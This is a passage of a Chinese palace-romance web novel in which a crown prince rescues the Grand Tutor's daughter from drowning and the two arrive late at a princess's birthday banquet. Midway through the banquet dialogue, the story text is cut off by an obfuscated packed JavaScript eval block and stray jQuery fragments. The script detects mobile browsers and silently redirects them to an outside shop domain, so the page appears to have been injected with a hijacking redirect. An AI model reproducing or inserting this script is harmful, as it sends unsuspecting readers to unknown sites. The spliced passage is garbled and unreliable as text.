远妃满意地让下人抬着轿子离开。
祁彤看向在水里扑腾的傅兮柠,转身走时还不忘拉着祁宴一同,像是再警告祁宴:“兄长应该了解远妃的手段。”
祁宴咬着牙,被祁彤拖走。
知夏的嘴也被堵住,正在使劲挣扎着,只是这两个大汉力气实在是足,知夏废了好大劲才挣脱,正准备直接跳下水,却被一个身影抢先。
宋墨潇不知从何处冲出来,略过祁宴和祁彤,丝毫不带犹豫地跳入深水池。
傅兮柠越陷越深,记不起半点自救的法子,四肢发软无力,裙摆还被缠住,她感受到从未有过的恐惧。
水呛进肺腑,灼烧般的痛。
原来这是绝望。
她清晰地感知身体一点点坠向深渊,原来人在水里,连求生都做不到。
视线慢慢发沉,无边的水吞噬过来,只剩孤立无援的恐慌死死攥住她。
“傅兮柠!”
是何人的声音?
傅兮柠努力撑着最后一点力气,睁开眼看到的是一个熟悉的身影。
好像见过,在梦里见过一样的场景。
她几乎以无力挣扎,但还是想抓住那个身影。
宋墨潇没有丝毫犹豫,没有半分迟疑,他冲破水面的阻隔,朝着她奋力游来。
那张脸依旧模糊,辨不清眉眼,却滚烫而坚定,穿过沉沉水幕,直直落进她濒临熄灭的世界里。
这是绝境时唯一的光。
我沉于死水万念成烬,坠入无边深渊,不见人间朝暮,唯你破浪向我,载我岁岁朝暮。
漫长的沉沦里,她奋力抓住了宋墨潇的手。
下一秒,触碰的温热,让她感受到了希望。
濒临覆灭的世界,被他稳稳救赎。
宋墨潇托着傅兮柠到池边,知夏见傅兮柠直接哭着上前:“姑娘!”
方才茶白和宋奇威赶到,见宋墨潇毫不犹豫地跳下深水池还有些意外,茶白阻止知夏,而后吩咐下人一同救人。
宋墨潇怕水,很少有人知道,这次是例外。
他刚将人拖上岸,便半跪在地,全然不顾自己浑身湿透以及被碎石划破的胳膊,第一时间将傅兮柠揽进怀里,他心骤然窜紧,连呼吸都乱了章法。
“傅兮柠,看着我,别闭眼。”声音抖得不成样子,他手反复拍打傅兮柠后背,急得眼眶发红,完全忘记力度,“有没有哪里痛?呛到多少水?说话好不好?别吓我!”
他所有注意力全锁在她身上,周遭旁人动静一概听不进,眼底的担忧几乎要溢出来,生怕怀里这好不容易从水利捞出来的人,就此殒灭。
傅兮柠被拍得有些痛,只咳嗽吐水。
宋奇威吩咐道:“去找御医。”而后视线落在祁彤和祁宴的背影,如同审视一般。
此事,记下了。
……
“你没事吧?”宋奇威担忧地看着宋墨潇,一群人在外面等御医检查完傅兮柠,他还未换衣裳,整个人还滴水,脸色煞白,“方才你一下冲过去,要吓死了。”
宋奇威知道宋墨潇水性不差,只是回想起之前他见水的反应。
公主府后院是一个如湖一样的深水池,方才一心只有沉在水底的傅兮柠,硬生生压下了恐惧。
他指尖不受控制地发抖,手臂下意识蜷缩,克制不住地瑟缩。
“茶白,先扶他去换件衣裳。”宋奇威说道,“再给傅姑娘备件。”
公主府离东宫不远,便只能先将傅兮柠待到东宫,以防被他人看到。
傅兮柠醒来时,整个人迷迷糊糊的,看向周围陌生的环境,软弱无力,咳嗽几声后,知夏飞扑过来般抓住傅兮柠的手,整个人哭得不成样子:“姑娘,你醒了,吓死我了。”
傅兮柠起身问道:“宴席是不是开始了?”
“这都什么时候了,你还在想宴席的事。”知夏只能点头。
傅兮柠想要下床参加宴席,却发现自己只穿了件陌生又干净的里衣:“这……这是何处?”
“东宫,这是太子房间。”知夏解释道,“是太子殿下救得姑娘,衣服是奴婢给换的,太医看过说无事,只是原本的衣裳湿了……”
话音刚落,敲门声便来了。
茶白送来了件衣裳:“傅姑娘,这是太子吩咐的衣服。”
傅兮柠看向茶白后面空无一人,便问道:“他人呢?”
在水里的身影趁着光而来,她想再确认一下,只是一直没见着人。
“太子在更衣,一会便来看姑娘。”茶白将衣服递给知夏后,转身就走。
二人盯着这件衣裳,淡蓝色为底色,花纹精致,针脚细密,上面还绣着如水墨一般的花印。
“姑娘,换上吧。”
再开门,宋墨潇身穿淡蓝色服饰站在门外不知等待多久,转身便见到傅兮柠穿着自己精心设计的衣裳站在面前。
很般配。
说的是衣裳。
没人提起方才落水之事,仿佛如一场梦一样。
“太子为何还不去宴席?”傅兮柠见宋墨潇还在这,不解地问道。
“等你。”宋墨潇装作一脸无事的样子,“既然已经晚了,那边一起去。”
原来这就是他昨日所说的附和。
二人不紧不慢地走在一起,是宋墨潇救的她,她确信,扫视着宋墨潇的面庞,眉骨立体,睫毛细长,眼尾微挑,这个人看上去有股清冷感。
“多谢太子相救,我欠你一条命。”傅兮柠说道。
“为何要得罪远妃?”宋墨潇问道,“以你的聪慧,不会轻易得罪人,可偏偏就激怒了她。”
傅兮柠没说什么,或许是知道远妃与祁彤是一伙的,便不想给好脸色,又或许是真的自己没有认出那是圣上最宠爱的远妃,再或许是因为江倩。
宋墨潇见状,没再多问,只是提醒道:“现在你与远妃水火不容,少出现在她面前,她不好惹。”
今日自是见识到了。
傅兮柠点头:“太子是如何知道我落水的?你在旁边看了多久?”
他一愣。
看了多久。
他与宋奇威刚来没多久,之间到傅兮柠被推下水的场景,他愣住不知多久,回过神时水面上已经没有傅兮柠身影,他便急了,也不顾害怕,直直跳下水。
宋墨潇没回答这个问题,而是问道:“你与祁彤和祁宴这笔账,打算如何算?”
“原本以为只要默默不去招惹任何人,便能安慰,受欺负忍下来,她们总有一日会腻,如今看来,全是狗屁歪理。”傅兮柠咬着牙,手也握成拳头,“越退让,只会让她们越烈。”
宋墨潇听着傅兮柠骂着她们,嘴角一勾,这才是他所认识的傅兮柠。
“他们想要我性命。过几日便是祁彤生辰,我定会给她送份大礼。”傅兮柠说道,“至于远妃……”
说到底她也只是个臣子,如何能报仇到宫中妃子的身上?
宋墨潇替她说道:“我可以帮你,当然你也可以先记下,来日再报。”
傅兮柠没懂他这句话,便只当是在安慰自己。
宴席上只有宋墨潇与傅兮柠未到场,所有人都在等着这位太子殿下。
男眷女眷在吃食时是分开的,这个时候正在进行下面赏歌舞为长公主祈福一项。
今日可以说圣上给足了长公主脸面,丝毫没有提起昨日之事。
宋慕源整个宴席都未见到傅兮柠,便有些担忧,让去找的侍女到现在都未回来,心慌意乱。
严乐瑶亦是如此,可看宋奇威一副懒散的样子,便觉得应该没什么大事。
“太子到!傅姑娘到!”
本喧沸的公主府,满堂宾客觥筹交错的中堂,引去大半目光。
二人是迟来许久,并肩缓步踏入殿中。
说来巧合,两人都身穿淡蓝色服饰,到步伐同步,在坐的各位很难不想点什么。
宋国富见宋墨潇和太傅之女傅兮柠迟来许久,语气郑重又压着点脾气说道:“二人为何来得如此晚?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712233|206500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
傅兮柠先是跪下说道:“是臣女之过,还请陛下与长公主责罚。”
宋慕源见傅兮柠安然无恙便送了口气,而后替傅兮柠说着话:“兮柠早就到了,只是我让她去帮我办件事,现在才回来。”
远妃在一旁听着,兴致缺缺地扫视一眼傅兮柠,而后又看向坐在最后面的祁彤,便知此事是怎么一回事,拆着长公主的台说道:“长公主有何事要办,非要让太傅之女前去?”
宋慕源没好气地瞪着远妃,刚想解释,宋墨潇便先开口:“回父皇,儿臣之所以晚到,是因为傅姑娘险些被歹人伤害,儿臣恰好撞上,便出手相救。”
“竟有此事?”宋国富有些意外。
远妃听到这话后,有些心虚地低头。
“不过好在傅姑娘无事。”宋墨潇说道,“还请父皇彻查此事,好给太傅以及傅姑娘一个交代。”
傅兮柠皱眉,这歹人说的是远妃还是祁彤?
宋国富看着跪在地上的傅兮柠,好好一个姑娘受委屈还在这跪着,实在有些不对,便让傅兮柠起来,待长公主生辰宴结束后再说此事。
整场宴席沉默许久,或许是因为宋墨潇一直冷着脸,让在坐的人感觉有些渗人。
江倩一直偷瞄宋墨潇,只是宋墨潇的视线从来没看过她这边,而是一直朝着对面,她随着视线看过去,傅兮柠和严乐瑶不知在聊着什么,严乐瑶笑呵呵的,傅兮柠却一副心不在焉的样子。
她一开始穿得不是这件衣裳,江倩记得一清二楚,本是件青色素衣,而如今却变成了华丽的淡蓝色,还和太子同色,她咬咬牙,只觉得不对劲。
祁彤在祁宴身边到是收敛不少,坐在一旁的琪妃只觉得宋墨潇有些不对劲,不知心中猜测是否正确,便想试探一下,对着宋国富说道:“陛下,今日是长公主生辰,臣妾觉得这歌舞索然无趣,倒不如让他们来一展文采,给这生辰宴加上点乐趣,不知陛下觉得如何?”
宋国富先是咳嗽几声,听后,便觉得提议不错,正好看看这些世家子弟都会些什么,便说道:“那便按琪妃所说,表现好的,重重有赏!”
众人一听,互相看着彼此,江倩第一个起身,说是自己会弹琴,便展现了自己绝佳的琴技,她端坐在案前,指尖轻落于琴上,初时音色清浅,轻重缓急恰到好处。
指腹勾挑着琴弦,众人半响才回过神,无不赞叹这般琴技早已炉火纯青,堪称冠绝一时。
宋国富鼓着掌,笑着说:“好曲,好曲!该赏!”
江倩笑着装作一副温婉软弱的样子行礼:“多谢陛下。”
她特地看向坐在一旁的宋墨潇,只是他似乎全程都未看过一眼,一直保持着原本的坐姿,没什么表情,低着头不知在想什么。
祁彤视线落在一旁的傅兮柠身上,凭什么傅兮柠可以坐在前面,而她只能坐在最末?她咬紧牙,起身说道:“江姑娘弹了首好曲,只是我曾听傅姑娘才华横溢,不知是否也愿上前一展芳华?”
傅兮柠本和严乐瑶吃着面前的糕点,忽听到有人叫自己名字,便抬起头,撞上了所有人的目光。
祁宴拉着祁彤的袖子,示意她够了,可祁彤还在自顾自地说道:“太傅之女定多才多艺,傅姑娘觉得如何?”
沈耀言坐在一旁听出不对,担忧地看着坐在对面的傅兮柠。
江倩见状,直接说道:“素日我曾听过傅姑娘弹琴,弹得不错。”
宋国富听后便来了兴致,看向傅兮柠:“既然如此,那太傅之女便来表演一番吧。”
傅兮柠起身,走上前:“回陛下,我琴技不如江姑娘那般绝美,恐怕要让各位失望了。”
江倩小声对着傅兮柠说:“圣上都让你表演一下,你想忤逆圣上吗?”
傅兮柠有些心慌,咽下口水,便说道:“不过我略懂舞蹈,若是陛下不嫌弃,臣女愿表演一二。”
宋慕源听后,便说道:“可是没有曲,光跳岂不是更无趣?”说完,宋慕源便给宋奇威使眼神,示意他帮忙打个圆场。